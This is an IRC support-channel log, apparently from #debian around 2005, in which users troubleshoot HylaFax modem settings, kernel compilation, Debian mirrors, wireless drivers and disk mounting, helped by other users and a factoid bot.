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| 21:47.54 | Bac9 | abrotman: and distinctive ring requires a second phone number with a different ring patern, which is also not it |
| 21:47.56 | abrotman | Bac9: http://www.hylafax.org/HylaFAQ/Q364.html or that |
| 21:48.15 | Jimmy-HPC_ | tarvok: ... strange... it finished downloading the kernel-source file? |
| 21:48.17 | Bac9 | abrotman: something like http://www.hylafax.org/archive/1997-07/msg00000.html |
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| 21:48.39 | tarvok | Jimmy-HPC_: It got 3 files. Maybe they're somewhere else? |
| 21:48.57 | abrotman | Bac9: hrm ... |
| 21:49.00 | Bac9 | abrotman: your third url was same distinctive ring as in second url |
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| 21:49.29 | Bac9 | abrotman: and there are a few more quiestions like that one in the mailing list but no answers |
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| 21:50.19 | abrotman | Bac9: jeez .. could you find an older email message :) |
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| 21:51.08 | Bac9 | abrotman: or: http://www.hylafax.org/archive/2003-04/msg00284.html |
| 21:51.11 | Jimmy-HPC_ | tarvok: do a locate for the files that were downloaded |
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| 21:51.32 | Bac9 | abrotman: I give what I can find, I wish there were answers but I can't find any |
| 21:51.43 | Bac9 | abrotman: and google is of no real help on this one either |
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| 21:52.12 | abrotman | Bac9: is your modem a Supra ? |
| 21:52.12 | Phroziac | ok, heres a good one. i accidently mounted the floppy, which apparently i shouldn't have before using dd. Well, not like you can expect me to have good knowledge of floppies anymore. It won't umount for some reason, says its busy, but it shouldn't be? |
| 21:52.32 | Bac9 | abrotman: it's a USR |
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| 21:52.40 | Jimmy-HPC_ | tarvok: actually it might have downloaded it in the local directory where you entered the command to download it |
| 21:53.07 | abrotman | Bac9: http://www.mytechsupport.ca/links/AT_Commands.html |
| 21:53.10 | Bac9 | Phroziac: some xterm or console in the floppy directory? |
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| 21:53.18 | Jimmy-HPC_ | tarvok: sorry I'm really a gentoo user so I'm not terribly familiar with debian |
| 21:53.21 | Phroziac | Bac9: no |
| 21:53.39 | Bac9 | Phroziac: some app still referencing a file from there? lsof? |
| 21:53.48 | Jimmy-HPC_ | tarvok: yes, it should have installed it in the directory where you issed the download command |
| 21:54.06 | Phroziac | Bac9: lsof? anyway, there can't be an app referencing a file from there...i just mounted it and didn't do anything to it. |
| 21:54.08 | abrotman | Bac9: could that help ? |
| 21:54.21 | Phroziac | is there a way to like force the umount? |
| 21:54.33 | Bac9 | abrotman: those are different then standard, usually FAA=1 is adaptive answer |
| 21:54.38 | tarvok | Jimmy-HPC_: Yep, there it is. |
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| 21:55.03 | abrotman | Bac9: it says AT reference .. figured it was the standard :) |
| 21:55.07 | Bac9 | abrotman: but it does mention FAA=4 |
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| 21:55.14 | Jimmy-HPC_ | alright, well that stuff should be moved and extracted to the /usr/src/ diretory so that you have a /usr/src/kernel-source directory inside |
| 21:55.19 | abrotman | Bac9: and you're looking for silent answer .. not adaptive .. right ? |
| 21:55.26 | Bac9 | abrotman: the AT+ comands are not standardised entirely |
| 21:55.33 | Bac9 | abrotman: correct |
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| 21:55.35 | marvist | hi, I try to install printer. Put I m not sure what I need to write after URI: /ipp/ within cups web-admin?? |
| 21:55.36 | abrotman | Bac9: nothing worth trying ? |
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| 21:56.11 | Bac9 | abrotman: my modem and 2 others report only supporting FAA (0,1) |
| 21:56.37 | eeyore- | this "Godwin" deal is going around :-) you know, the one where this Kenyan offered 40 goats and 20 cows to marry Chelsea Clinton |
| 21:57.13 | abrotman | Bac9: cute |
| 21:57.13 | Phroziac | ok, i looked at the man real quick for umount. did a umount -f. it gives a string of errors, first says device or resource busy, then /dev/fd0 not mounted, then device or resource is busy, then device is busy. |
| 21:57.27 | tarvok | Jimmy-HPC: I'm moving them to /usr/src. Should I move the translog file, as well? |
| 21:57.29 | abrotman | eeyore-: you offered farm animals for her ? |
| 21:57.33 | Bac9 | abrotman: so I am hoping it's some other option |
| 21:57.36 | eeyore- | abrotman: haha |
| 21:57.36 | abrotman | eeyore-: it was on CNN today |
| 21:57.47 | liable | Phroziac: lsof /dev/fd0 |
| 21:57.49 | eeyore- | abrotman: was on dailyrotten.com a day or two before that |
| 21:57.52 | Bac9 | abrotman: it doesn't even support ati10 |
| 21:58.18 | abrotman | Bac9: get a new modem :) |
| 21:58.31 | abrotman | [Supra Fax Modem - Silent Answer] |
| 21:58.32 | abrotman | Info=10|141| |
| 21:58.32 | abrotman | RxInit=AT&FE0S0=0V1&C1&D2+FAA=3 |
| 21:58.34 | eeyore- | Phroziac: is anything else keeping a lock on the mount point? (where /dev/floppy was mounted) |
| 21:58.37 | abrotman | debhelper: ? |
| 21:58.42 | Phroziac | hmm, interesting. but for some reason i did the umount as my user, not root, and it went through. |
| 21:58.45 | Phroziac | no eeyore- |
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| 21:58.58 | tarvok | Jimmy-HPC: Oh, and I don't have a .bz2 file. I do have a .dsc, a .tar.bz, and a .diff.bz, as well as one without an extension. |
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| 21:59.08 | Bac9 | abrotman: this is a new modem, a hardware modem, but as I said AT commands aren't entirely standardised |
| 21:59.22 | abrotman | Bac9: they should be damn nit! |
| 21:59.31 | abrotman | Bac9: is this that PCI modem from USR ? |
| 21:59.45 | Bac9 | abrotman: better, a garanteed hardware isa modem |
| 21:59.45 | Phroziac | well, anyway thanks. *SHRUG* |
| 21:59.47 | eeyore- | abrotman: dream :-) (standardized AT commands). these days, do you care? AT commands are like ... so 90's |
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| 22:00.11 | abrotman | eeyore-: hey .. don't make me smack you with my tape cassettes |
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| 22:00.28 | eeyore- | abrotman: 8"? |
| 22:00.36 | Bac9 | abrotman: tape cassetes? 8track? |
| 22:00.37 | eeyore- | abrotman: reel-to-reel? |
| 22:00.40 | abrotman | eeyore-: i meant music |
| 22:00.42 | ansong | is it just me or have there been few updates lately? |
| 22:00.51 | Bac9 | eeyore-: wax tubes |
| 22:00.51 | abrotman | ansong: read d-d-a |
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| 22:01.13 | Bac9 | abrotman: so anyway, any sugestions? |
| 22:01.14 | abrotman | ansong: read d-d-a? |
| 22:01.16 | abrotman | bah |
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| 22:01.25 | abrotman | Bac9: did you try emailing the hylafax people ? |
| 22:01.52 | Bac9 | abrotman: I figured if there were already several unanswered questions on this topic in mailing list there wasn't much point |
| 22:02.03 | abrotman | Bac9: you'd need the command .. and then get it in the answer string |
| 22:02.21 | abrotman | Bac9: i don't have access to my hylafax from here .. and i set it up .. well over a year ago |
| 22:02.28 | abrotman | and well .. haven't touched it since .. |
| 22:02.33 | ansong | abrotman, sorry, had to figure out what you were talking about. will go there & see whats up |
| 22:02.34 | Bac9 | abrotman: did you set up silent answer? |
| 22:02.58 | abrotman | Bac9: no . dedicated line .. 14.4 faxmodem ... with a real faxmachine backup |
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| 22:03.27 | Bac9 | abrotman: hm.. then I don't know if you can help by looking at your config |
| 22:03.39 | abrotman | Bac9: it might at least give me an idea :) |
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| 22:04.16 | tarvok | Wait a minute... |
| 22:04.24 | Bac9 | abrotman: well if you have a chance do take a look then msg me |
| 22:04.28 | kryptech | I borked totem somehow, now it dies with a 'resource is not available' message, what should I do? |
| 22:04.40 | tarvok | Jimmy-HPC_: Oh, and I don't have a .bz2 file. I do have a .dsc, a .tar.bz, and a .diff.bz, as well as one without an extension. (Is this better?) |
| 22:04.41 | eeyore- | abrotman: are you or Bac9 having problem? |
| 22:04.45 | abrotman | Bac9: won't be til tomorrow .. if you see me in here tomorrow . ask me .. it's internal at my company |
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| 22:04.49 | abrotman | eeyore-: i have no problems! |
| 22:04.50 | Bac9 | eeyore-: me |
| 22:04.51 | kryptech | I did 'apt-get remove totem' and them 'apt-get install totem', but it did the same thing |
| 22:04.52 | marvist | http://localhost:631/admin work well and I am able to add printer |
| 22:05.04 | mrgenixus | if I'm running unstable, how do I get kernel-image 2.6.12 |
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| 22:05.10 | eeyore- | Bac9: what is it? there's been such lengthy discussion i can't quite condense it :-) |
| 22:05.16 | Bac9 | abrotman: just msg me since I can be afk |
| 22:05.28 | marvist | but there is no results when I try to test page print |
| 22:05.30 | abrotman | eeyore-: he wants silent answer on his hylafax server |
| 22:05.33 | Bac9 | eeyore-: "silent answer" for faxmodem, how to enable it |
| 22:05.42 | abrotman | eeyore-: different from adaptive answer .. or distinctive rings ... |
| 22:05.47 | eeyore- | Bac9: that's not listed in your manual? |
| 22:05.54 | abrotman | eeyore-: the hylafax manual ? |
| 22:05.56 | Bac9 | eeyore-: if I had a manual maybe |
| 22:06.10 | eeyore- | Bac9: i have a supra faxmodem in the attic somewhere, i hope :-) |
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| 22:06.30 | eeyore- | Bac9: maybe i can find a manual, if it's even around. would have been over 7 years... |
| 22:06.34 | abrotman | Bac9: it is a new PCI USR modem . right ? |
| 22:06.44 | Bac9 | eeyore-: I need one for usr though |
| 22:06.46 | eeyore- | abrotman: i thought he said Supra Faxmodem |
| 22:06.53 | abrotman | eeyore-: no . those are the commands i found .. |
| 22:06.58 | Bac9 | abrotman: nope and old isa usr modem |
| 22:06.59 | eeyore- | ah |
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| 22:07.04 | monmat | hello guys |
| 22:07.07 | abrotman | Bac9: oh .. it's ISA ? |
| 22:07.22 | eeyore- | Bac9: "silent answer", you mean just not squawking on the built-in speaker? |
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| 22:07.52 | abrotman | eeyore-: no .. it means it .. 'taps' the line .. to see what kind of call it is .. doesn't actually answer apparently |
| 22:08.08 | Bac9 | eeyore-: nope, I meen: http://www.hylafax.org/archive/1997-07/msg00000.html and http://www.hylafax.org/archive/2003-04/msg00284.html |
| 22:08.17 | eeyore- | Bac9: but the fax standard ... oh wait ... the fax standard says the caller has to send the tones, right? |
| 22:08.19 | Bac9 | abrotman: correct |
| 22:08.29 | Bac9 | eeyore-: right |
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| 22:09.48 | abrotman | Bac9: make the fax server your answering machine too .. problem solved :) |
| 22:09.59 | Jimmy-HPC_ | tavok: sorry had to leave the room for a bit |
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| 22:10.15 | Bac9 | abrotman: don't have the capacity or speed |
| 22:10.19 | tarvok | Jimmy-HPC: It's cool. |
| 22:10.22 | Jimmy-HPC_ | tavok: the .bz is the one that you run the command |
| 22:10.37 | Jimmy-HPC_ | tavok: I'm actually at work I'm trying to get something to work myself |
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| 22:11.22 | eeyore- | Bac9: you know, that is a cool idea i've been meaning to do, too (voice/fax/etc server) |
| 22:11.38 | eeyore- | Bac9: apparently it doesn't take much |
| 22:11.41 | tarvok | Jimmy-HPC_: You mean the .gz file? There is no .bz file, and there are two .gz files: .diff.gz and .orig.tar.gz |
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| 22:12.13 | Jimmy-HPC_ | tarvok: tar zxvf the tar.gz file |
| 22:12.21 | Bac9 | eeyore-: just takes a tad more know-how then I have |
| 22:12.24 | Jimmy-HPC_ | that should do the trick |
| 22:12.32 | abrotman | eeyore-: the biggest problem is hylafax .. noone really supports it anymore .. and it's a pain to get setup .. but once it is .. it's decently solid |
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| 22:13.09 | abrotman | eeyore-: i haven't had to do anything with our hylafax except clean the recvq(which i could do via hylafax but i don't) and install new kernels/reboot |
| 22:13.20 | eeyore- | Bac9: are you sure it's not the FAA command? seems like everywhere i search this crops up. this might be a standard v.32bis or whatever the heck they were called at the time |
| 22:13.34 | abrotman | eeyore-: honestly .. if there were ever a place for a CD based distro .. hylafax would be it :) |
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| 22:14.11 | tarvok | Jimmy-HPC_: Okay, it's done. |
| 22:14.24 | abrotman | !moo |
| 22:14.24 | dpkg | mooooooo! I am cow, hear me moo, I weigh twice as much as you. I'm a cow, eating grass, methane gas comes out my ass. I'm a cow, you are too; join us all! Type apt-get moo. http://bugs.debian.org/175939, or cowsay -f stimpy Nummies |
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| 22:14.53 | igge | how can I see what libraries a library depends on? |
| 22:14.56 | Bac9 | eeyore-: same here, but when I query AT_FAA=? I only get back (0,1) |
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| 22:15.06 | tarvok | Jimmy-HPC: Running the ln command... |
| 22:15.06 | Bac9 | eeyore-: that's AT+FAA=? |
| 22:15.30 | tarvok | Jimmy-HPC_: Hmm... did that do anything? |
| 22:15.32 | Bac9 | eeyore-: unless ofcourse you have to set the modem into some mode before querying that |
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| 22:15.58 | fhffhqvb | !fix RabidDog |
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| 22:16.28 | streuner | hehe |
| 22:16.39 | andrew_ | igge: $ldd foo.so |
| 22:16.55 | bahamat | does anyone use cyrus, or know if I can use cyrusadm without having cyrus21-imapd installed? |
| 22:17.05 | Jimmy-HPC_ | tarvok: you need to have that ln command so that there is a symbolic link /usr/src/linux to your linux source directory |
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| 22:17.19 | RabidDog | NO MORE non-us /msg dpkg crypto in main <----- is that just crypto or non-us packages hosted int he us? |
| 22:17.19 | abrotman | bahamat: which package provides cyrusadm ? |
| 22:17.27 | tarvok | Jimmy-HPC_: It exists. |
| 22:17.27 | Jimmy-HPC_ | tarvok: a lot of things in linux reference that directory to find out what version of the kernel you are using |
| 22:17.27 | bahamat | abrotman: cyrus21-admin |
| 22:17.34 | abrotman | RabidDog: it's totally gone .. /msg dpkg crypto in main :) |
| 22:17.38 | bahamat | abrotman: well, cyradm |
| 22:17.42 | abrotman | bahamat: and it depends on what ? |
| 22:17.47 | Jimmy-HPC_ | tarvok: alright the next step is to cd into that directory |
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| 22:17.56 | Jimmy-HPC_ | tarvok: type make menuconfig |
| 22:17.59 | igge | andrew: thanks |
| 22:18.06 | Cylaris | Does anyone know where I can check to see if a binary of php 4.4 has been made for A64 arch yet? |
| 22:18.13 | RabidDog | <PROTECTED> |
| 22:18.16 | abrotman | !seen g4lt |
| 22:18.17 | viper2k | I've set up a vpn connection via pptpd .. it works .. but I can`t get no connection with the rest of the network .. (vpn clients are 172.21.2.x locla clients are 172.21.0.x) I think it`s because trhe vpn clienst get the netmask 255.255.255.255... can it be set to 255.255.0.0 ? |
| 22:18.18 | dpkg | g4lt <galt@g4lt.base.supporter.pdpc> was last seen on IRC in channel #debian, 293d 21h 41m 32s ago, saying: 'toresbe actually no, policy states taht no package needs to depend on anything on base'. |
| 22:18.37 | fhffhqvb | !fist g4lt |
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| 22:18.50 | NobodyHere | libaspell15c2 breaking things in debian sid lately? |
| 22:18.51 | streuner | odd |
| 22:18.52 | RabidDog | ah |
| 22:18.55 | RabidDog | now I understand |
| 22:18.59 | bahamat | abrotman: libcyrus-imap-perl21, some sasl stuff, then base things like libdb, perl and libtext |
| 22:19.04 | abrotman | Cylaris: for which version of debian ? |
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| 22:19.10 | tarvok | Jimmy-HPC_: Into what directory? I'm already in /usr/src, and make menuconfig returned "no rule to make target" |
| 22:19.29 | abrotman | bahamat: so it doesn't depend on cyrus-imapd ? |
| 22:19.36 | bahamat | abrotman: no |
| 22:19.40 | Cylaris | abrotman: any version :) |
| 22:19.58 | abrotman | !info php4 sid |
| 22:20.02 | Cylaris | abrotman: There is a bug that 4.4 fixes from 4.3.x which is driving me nuts |
| 22:20.03 | dpkg | php4: (server-side, HTML-embedded scripting language (meta-package)), section web, is optional. Version: 4:4.3.10-15 (sid), Packaged size: 1 kB, Installed size: 24 kB |
| 22:20.09 | abrotman | Cylaris: that would be no ... |
| 22:20.24 | abrotman | Cylaris: i doubt they'd send a revisino of that to experimental |
| 22:20.29 | abrotman | php5 maybe .. but not php4.4. |
| 22:20.38 | Cylaris | abrotman: well then I guess it's time to compile it on my own hehe |
| 22:20.45 | drew | hiya guys. I bought a dwl-122 a couple months back, and even with consistent google research it has come to no avail. I've followed every step to the T and even have bash scripts setup to do the work. I dont really know what to ask because I feel i've done everything |
| 22:20.48 | abrotman | Cylaris: you can try packaging your own |
| 22:21.12 | viper2k | q |
| 22:21.19 | tarvok | Jimmy-HPC_: Oh wait, there it is... |
| 22:21.29 | Cylaris | abrotman: Is there a quick reference on it? I haven't packaged something on my own in 4 yrs lol |
| 22:21.36 | Jimmy-HPC_ | tarvok: have to be in /usr/src/linux |
| 22:21.37 | abrotman | Cylaris: it shouldn't be much different .. should just be able to use the debian/ dir from the 4.3.x packages |
| 22:21.40 | abrotman | !nm |
| 22:21.40 | dpkg | nm is probably New Maintainer, the process through which new Debian developers happen. And also nevermind, or a program to list symbols from object files and libs. Never\No Mind. New Mexico No Molestes (do not disturb) in spanish. at http://nm.debian.org/ |
| 22:21.41 | abrotman | !Mg |
| 22:21.41 | dpkg | A simple packaging walkthrough can be found by (as root) "apt-get install maint-guide" and then (as user) lynx /usr/share/doc/maint-guide/maint-guide.en.html/index.html" (or maint-guide.en.html in sarge/sid). 'Mg' is also the chemical symbol for magnesium, it is also the shorthand for Madagascar |
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| 22:21.50 | bahamat | abrotman: abrotman but the problem is if I don't have cyrus21-imap installed, cyradm just hangs trying to connect |
| 22:22.04 | abrotman | bahamat: sounds like a stupid program :) |
| 22:22.19 | tarvok | Jimmy-HPC_: Hmm... I was thinking I'd have to be in /usr/src/kernal... |
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| 22:22.36 | tarvok | Jimmy-HPC_: Can't cd into linux |
| 22:22.36 | mdh | abrotman: the version of cyrus in debian is so out of date, it even has 2Gb quota limits |
| 22:22.47 | abrotman | Cylaris: have you tried contacting the packager to see if they are going to package it |
| 22:22.53 | abrotman | mdh: tell bahamat |
| 22:23.01 | abrotman | wow .. the entire shuttle fleet is grounded |
| 22:23.04 | abrotman | again |
| 22:23.16 | Cylaris | abrotman: No I just encountered the bug today |
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| 22:23.23 | tarvok | Jimmy-HPC_: I tried the make menuconfig in the kernel directory, and it informed me I need to install Ncurses library. |
| 22:23.24 | mdh | how is "1" a fleet? |
| 22:23.31 | abrotman | Cylaris: i realize that .. but he may have them almost done |
| 22:23.33 | abrotman | mdh: 2 |
| 22:23.37 | liable | abrotman: bit late for doing that I think :) |
| 22:23.48 | abrotman | liable: hey .. it's on CNN . .don't blame me |
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| 22:23.53 | Cylaris | abrotman: Ah, alright I shoot him an e-mail :) |
| 22:23.55 | Jimmy-HPC_ | tarvok: eeeek! alright let me check something |
| 22:24.06 | drew | anyone here any good at usb wireless networking let me know. I'm really not sure what to ask honsetly, i've been researching this for a couple months and have run out of solutions |
| 22:24.07 | abrotman | !maint php4 |
| 22:24.12 | dpkg | php4: Adam Conrad <adconrad@0c3.net> |
| 22:24.23 | abrotman | hah .. usb .. wireless |
| 22:24.23 | tarvok | Jimmy-HPC_: Go ahead and type your response, but I've been called away. I'll be afk for some time... |
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| 22:24.26 | abrotman | drew: that's funny |
| 22:24.38 | drew | abrotman, i'm here to amuse, apparently |
| 22:24.42 | Jimmy-HPC_ | tarvok: apt-get install ncurses-base |
| 22:25.00 | abrotman | Cylaris: http://bugs.debian.org/cgi-bin/pkgreport.cgi?pkg=php4 |
| 22:25.09 | liable | tarvok: libncurses5-dev |
| 22:25.10 | abrotman | drew: does lsusb see it ? |
| 22:25.12 | mdh | I think if NASA have any hope of getting a budget for next year, they won't be killing more astronauts than they already have with dodgy shuttles |
| 22:25.39 | abrotman | hehe . the nasa guy said .. TPS :) |
| 22:25.56 | drew | abrotman, i can get it to do everything except connect to the ap. I have juice, and all the drivers are running. lsusb does see it yes |
| 22:25.56 | mdh | it would seriously be the death (pardon the pun) of manned space flight for the forseeable future |
| 22:26.03 | Ronin | abrotman: im guessing your watching nasatv? |
| 22:26.12 | abrotman | Ronin: cnn |
| 22:26.13 | tarvok | Jimmy-HPC_ and liable: Thanks. I'll be afk for a while now... |
| 22:26.29 | abrotman | drew: what does it say when you try ? |
| 22:26.38 | Jimmy-HPC_ | Anyone know how to setup a debian mirror? |
| 22:26.45 | abrotman | !mirror |
| 22:26.45 | dpkg | from memory, mirror is http://www.debian.org/mirror/list | <reply> see mirrors |
| 22:26.47 | abrotman | bah |
| 22:26.50 | abrotman | that didn't work |
| 22:26.54 | pipeline | Jimmy-HPC_: apt-mirror script |
| 22:26.58 | dondelelcaro | Jimmy-HPC_: there are a few dozen different ways to do so. |
| 22:27.20 | pipeline | http://apt-mirror.sourceforge.net/ |
| 22:27.33 | streuner | or |
| 22:27.37 | abrotman | Jimmy-HPC_: why would you want a mirror ? |
| 22:27.38 | streuner | dpkg, own repo |
| 22:27.38 | dpkg | Custom-Package-Repository-HOWTO: [1, as root] apt-get install dpkg-dev; [2, as user] mkdir -p ~/public_html/foo; cd ~/public_html/foo; [3] cp /your/packages.deb .; [4] dpkg-scanpackages . /dev/null | gzip > Packages.gz; [5, as root] echo >> /etc/apt/sources.list "deb http://localhost/~username/foo ./"; [OR, if no local web server set up] echo >> /etc/apt/sources.list "deb file:///home/username/public_html/foo ./"; |
| 22:27.40 | Jimmy-HPC_ | yeah I have the script and it downloads the file, but I don't know what servers to get running to make the machine actually serve a sa mirror |
| 22:27.49 | grendal_prime | this just makes no sense |
| 22:27.50 | grendal_prime | 2 0 non-token data: nspam |
| 22:27.57 | grendal_prime | that cant be right |
| 22:27.59 | netbrain | why dont i have /dev/hdb? |
| 22:28.00 | abrotman | Jimmy-HPC_: why would you want a mirror ? |
| 22:28.01 | pipeline | Jimmy-HPC_: oftpd or apache or whatever |
| 22:28.03 | dondelelcaro | Jimmy-HPC_: you just need apache or whatever. |
| 22:28.08 | Jimmy-HPC_ | need a local mirror for fai installations here at UNM HPC |
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| 22:28.17 | streuner | netbrain: tell us |
| 22:28.23 | abrotman | Jimmy-HPC_: apt-proxy might .. help .. |
| 22:28.38 | abrotman | Jimmy-HPC_: if you're running sarge .. there are easier ways |
| 22:28.42 | drew | abrotman, whilist running ifup wlan0 it will look for my subnet '255.255.255.255' with seperate intervals, and report this.. No DHCPOFFERS received. No working leases in persistent database. Sleeping. |
| 22:28.57 | abrotman | drew: that's a crappy subnet |
| 22:29.01 | abrotman | err netmask |
| 22:29.01 | tosh | does anyone know how to make ssh bind the sourceaddress of a tunnel to a certain ipaddress? |
| 22:29.02 | Jimmy-HPC_ | dondelecaro: I don't know how to configure apache to serve the mirror filess.... |
| 22:29.03 | abrotman | ignore me |
| 22:29.04 | drew | tell me about it |
| 22:29.14 | mrgenixus | is there a way to get kernel 2.6.12 with unstable? |
| 22:29.17 | netbrain | im debootstrapping and installing a fresh copy of debian on another disk.. but.. i cant install kernel because there is no /dev/hdxx |
| 22:29.22 | Jimmy-HPC_ | abrotman: apt proxy works (already have one workign) but its not fast or reliable enough |
| 22:29.23 | abrotman | drew: can you make the AP give a better log thingie ? |
| 22:29.29 | abrotman | Jimmy-HPC_: sarge ? |
| 22:29.31 | netbrain | not even after /dev/MAKEDEV |
| 22:29.34 | drew | probably if i tailed it |
| 22:29.38 | Jimmy-HPC_ | abrotman: yes |
| 22:29.56 | abrotman | Jimmy-HPC_: you could use sarge DVD ISOs to get the local mirror .. and apt-proxy for the security updates |
| 22:30.07 | dondelelcaro | Jimmy-HPC_: you just tell apache to serve wherever you have the miror files; a simple Alias /debian /path/to/debian/mirror; will do it. |
| 22:30.10 | liable | mrgenixus: linux-image-2.6.12 |
| 22:30.24 | Jimmy-HPC_ | dondelecaro: thats it? that would be nice |
| 22:30.33 | Jimmy-HPC_ | abrotman: yeah, that is a good idea |
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| 22:30.37 | drew | maybe i'm missing something, however i should mention i'm using linux-wlan-ng drivers |
| 22:30.55 | abrotman | drew: are you missing a WEP key or anyhting ? |
| 22:31.01 | Jimmy-HPC_ | abrotman: i just need to at least get basic packages served for FAI installs |
| 22:31.06 | drew | abrotman, i've killed wep atm |
| 22:31.11 | Jimmy-HPC_ | abrotman: through a mirror |
| 22:31.27 | drew | abrotman, if the wep is bad then it won't return an dhcp ip |
| 22:31.29 | abrotman | Jimmy-HPC_: there are plenty of ways ... |
| 22:31.38 | abrotman | Jimmy-HPC_: but you've been told more than one |
| 22:31.44 | dondelelcaro | Jimmy-HPC_: that's it; assuming that you actually used the mirror scripts and have an appropriate Release and Packages file. |
| 22:32.04 | drew | however that netmask sucks, how can i change it |
| 22:32.11 | drew | that may be my problem now that i think about it |
| 22:32.12 | abrotman | drew: what if you give it a static IP ? |
| 22:32.18 | Jimmy-HPC_ | dondelecaro: yeah I have run the mkdebmirror script and it has completed, however a couple of timnes the package.gz file has failed... |
| 22:32.35 | drew | i did try that before but i wasn't using my bash script, give it another shot |
| 22:32.40 | drew | it maybe a dhcp issue yeh |
| 22:32.43 | Jimmy-HPC_ | abrotman: thanks, I do appreciate the help |
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| 22:33.07 | dondelelcaro | Jimmy-HPC_: um... the mkdebmirror script doesn't really do a full mirror |
| 22:33.12 | abrotman | drew: try with static IP .. see if you can get it connected .. then you can tell if it's a DHCP problem or not |
| 22:33.22 | drew | right |
| 22:33.23 | drew | thanks brb |
| 22:33.54 | Jimmy-HPC_ | dondelecaro: really? what is a good method for that |
| 22:34.03 | NOangy17EL | i have 2 hd on my PC but debian read only one cs the other is in FAT32, i've used command mount -t vfat/dev/hda1/mnt/folder but nothin happen.... can u help me |
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| 22:34.22 | abrotman | !vfatrw |
| 22:34.22 | dpkg | To get write access to a vfat partition when mounting it with fstab, use the line "/dev/partition /mount/point vfat defaults,uid=USERID,gid=GROUPID,umask=002 0 0" in /etc/fstab. umask=002 will make the partition rwxrwxr-x, while umask=022 will make it rwxr-xr-x. Get your user/group ids with the command "id". This also applies to NTFS. |
| 22:34.24 | dondelelcaro | Jimmy-HPC_: see http://www.debian.org/mirror/anonftpsync and http://www.debian.org/mirror/ftpmirror |
| 22:34.37 | drew | DHCPDISCOVER on wlan0 to 255.255.255.255 <- that netmask is whats confusing me the most |
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| 22:35.00 | NOangy17EL | must i use fstab for read it? |
| 22:35.11 | esk | drew: it isn't a netmask, it's a broadcast address |
| 22:35.28 | drew | ah! |
| 22:35.30 | Assid | can someone help me with this? |
| 22:35.30 | Assid | vfs: cannot open root device "2105" or unknown-block(33,5) |
| 22:35.32 | abrotman | drew: that is right actually |
| 22:35.37 | abrotman | drew: i had corrected myself above :) |
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| 22:35.41 | drew | ok that makes sense |
| 22:35.42 | drew | hehe |
| 22:35.45 | abrotman | drew: but still try a static |
| 22:35.51 | drew | ok right now |
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| 22:37.05 | RProgrammer | How do I give a new internet connection device (wifi pci card) an eth* name? |
| 22:37.25 | abrotman | make the driver work |
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| 22:38.29 | RProgrammer | abrotman: "Make the driver work" was that to me or drew? |
| 22:38.37 | abrotman | you |
| 22:38.41 | RProgrammer | ok |
| 22:38.49 | abrotman | RProgrammer: dmesg | grep -i eth .. do you see it ? |
| 22:38.54 | RProgrammer | prism54 is loaded and shows up under lsmod |
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| 22:39.02 | abrotman | oh wait |
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| 22:39.03 | RProgrammer | it's a netgear |
| 22:39.06 | abrotman | it might be wlan .. not eth |
| 22:39.09 | RProgrammer | wg511 |
| 22:39.17 | NOangy17EL | damn, i can't read other hd on debian... i go in "computer" (GNOME ENVIRONMENT) but i can't see it... help me pls! |
| 22:39.18 | abrotman | like wlan0 ... |
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| 22:39.28 | RProgrammer | ok, one sec |
| 22:39.32 | abrotman | NOangy17EL: did you mount it correctly ? |
| 22:39.39 | abrotman | !tell NOangy17EL about vfatrw |
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| 22:39.49 | teQuilamaN | hi |
| 22:40.12 | teQuilamaN | how can i bind mpd to one networkcard? |
| 22:40.17 | NOangy17EL | nothin happen |
| 22:40.42 | NOangy17EL | where i can get use and grop id? |
| 22:40.48 | tosh | does anyone know how to make ssh bind the sourceaddress of a tunnel to a certain ipaddress? |
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| 22:41.12 | Slippy^_ | NOangy17EL: id |
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| 22:41.55 | abrotman | it tells you in the fucking !vfatrw .. which i already gave to you |
| 22:42.02 | abrotman | read! |
| 22:42.18 | RProgrammer | abrotman: nope, nothing about wlan, and nothing about eth, except for my wired connection, which I am currently using |
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| 22:43.00 | abrotman | RProgrammer: sounds like maybe the driver didn't pick it up ? |
| 22:43.15 | tosh | RProgrammer if you're using netgear 511* you need the madwifi drivers |
| 22:43.24 | tosh | they're used for atheros chipsets |
| 22:43.26 | RProgrammer | I thought it was prism54? |
| 22:43.35 | tosh | what type is it? |
| 22:43.40 | tosh | WG511 or WG511T? |
| 22:43.44 | RProgrammer | Netgear WG511 |
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| 22:44.11 | abrotman | !madwifi |
| 22:44.12 | dpkg | somebody said madwifi was http://www.mattfoster.clara.co.uk/madwifi ,-faq.htm , or http://www.marlow.dk/site.php/tech/madwifi , or #madwifi, or to install madwifi drivers built against standard Debian kernel images (sarge/sid only) see '/msg dpkg madwifi-install' |
| 22:44.16 | Assid | can sopmeone help me with this? vfs: cannot open root device "2105" or unknown-block(33,5) |
| 22:44.27 | abrotman | Assid: you compiled your own kernel ? |
| 22:44.28 | Assid | i cant seem to find a way to solve this issue |
| 22:44.28 | Slippy^_ | tosh: not sure what you mean - but if you do a: ssh -N -f -g -L sport:www.url.com:dport user@server.com you'll be making a tunnel with ssh |
| 22:44.37 | Assid | abrotman: yep |
| 22:44.47 | abrotman | Assid: don't |
| 22:45.03 | Assid | i have other boxes using self compiled kernel |
| 22:45.08 | dmirc | help, just installed debian and i can not get the user i created to long in, i am a home dir from a gentoo system and am clueless as to what could be the problem |
| 22:45.11 | Assid | they all work fine.. just this one |
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| 22:45.20 | tosh | Slippy^_ the interface on which the sport will be defined, I want to define that interface |
| 22:45.23 | abrotman | Assid: did you compile in all your FS drivers .. and your ide/scsi/sata drivers ? |
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| 22:45.49 | Assid | yes.. i am using ide based.. and i added the generic one.. |
| 22:45.50 | abrotman | dmirc: UID/GID don't match the users ? |
| 22:45.52 | teQuilamaN | does someone know how to bind mpd to one device ie eth1? |
| 22:46.06 | abrotman | Assid: usually your error means you don't have the right driver compiled in |
| 22:46.08 | Assid | lspci shows me a SiS one.. but i cant find this one |
| 22:46.23 | Assid | IDE interface: Silicon Integrated Systems [SiS]: Unknown device 0180 (rev 01) |
| 22:46.31 | abrotman | !pciids |
| 22:46.31 | dpkg | well, pciids is run update-pciids or see http://pciids.sourceforge.net/, or run update-pciids to update your PCI ID database, if your lspci output shows "unknown device" |
| 22:46.32 | Assid | i added whatever IDE ones where available |
| 22:46.49 | dmirc | abrotman: i have run chown -R -c dm:dm /home/dm on the dir and nothing changed |
| 22:47.25 | abrotman | dmirc: it was just an idea .. are there any errors in the logs ? |
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| 22:47.49 | Assid | oh crap |
| 22:47.49 | Assid | i think i see why |
| 22:47.52 | liable | why are the new kernel images in sid called linux-image instead of kernel-images? |
